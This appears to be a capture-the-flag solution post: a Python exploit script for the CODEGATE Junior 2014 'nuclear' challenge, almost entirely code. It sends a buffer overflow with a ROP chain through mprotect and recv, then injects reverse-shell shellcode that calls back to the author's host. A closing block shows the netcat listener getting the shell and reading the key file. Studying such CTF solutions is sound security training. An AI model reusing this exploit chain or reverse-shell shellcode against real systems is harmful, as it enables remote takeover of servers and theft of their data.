[exploit] CODEGATE Junior 2014 nuclear

import socket import struct import time p = lambda x: struct.pack("<I", x) host = "58.229.183.22" #host = "192.168.0.5" port = 1129 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) print s.recv(1024); s.send("target") print s.recv(1024); s.send("1/1") print s.recv(1024) print s.recv(1024); s.send("launch") print s.recv(1024); s.send("in the end, i was there.\n") print s.recv(1024) print s.recv(1024) pppr = 0x804917d recv = 0x80488e0 fd = 4 send = 0x8048900 space= 0x804b000 mprotect = 0xb76a22b0 #"58.229.183.22" #reverse shell shellcode = "\x68" shellcode+= "\4j0\xa2\x2f\x0c" # <- IP Number 보안문제상 값 바꿈 shellcode+= "\x5e\x66\x68" shellcode+= "\xd9\x03" # <- Port Number "55555" shellcode+= "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02" shellcode+= "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79" shellcode+= "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a" shellcode+= "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f" shellcode+= "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" shellcode+= "\xeb\xce" #payload :: [mprotect][pppr][buf][size][0x07][recv@plt][buf][fd][buf][size][0x00] payload = "a" * 0x210 payload += p(mprotect) payload += p(pppr) payload += p(space) payload += p(0x100) payload += p(0x07) payload += p(recv) payload += p(space) payload += p(fd) payload += p(space) payload += p(len(shellcode)) payload += p(0x00) s.send(payload) print "send payload" s.send(shellcode) print "send shellcode" time.sleep(10000) ''' C:\Users\Jihwan>nc -l -p 5555 ls THIS_IS_NOT_KEY_JUST_PASSCODE examples.desktop key nuclear cat key BUG_BOUNTIES_b3COM3_GrEAT '''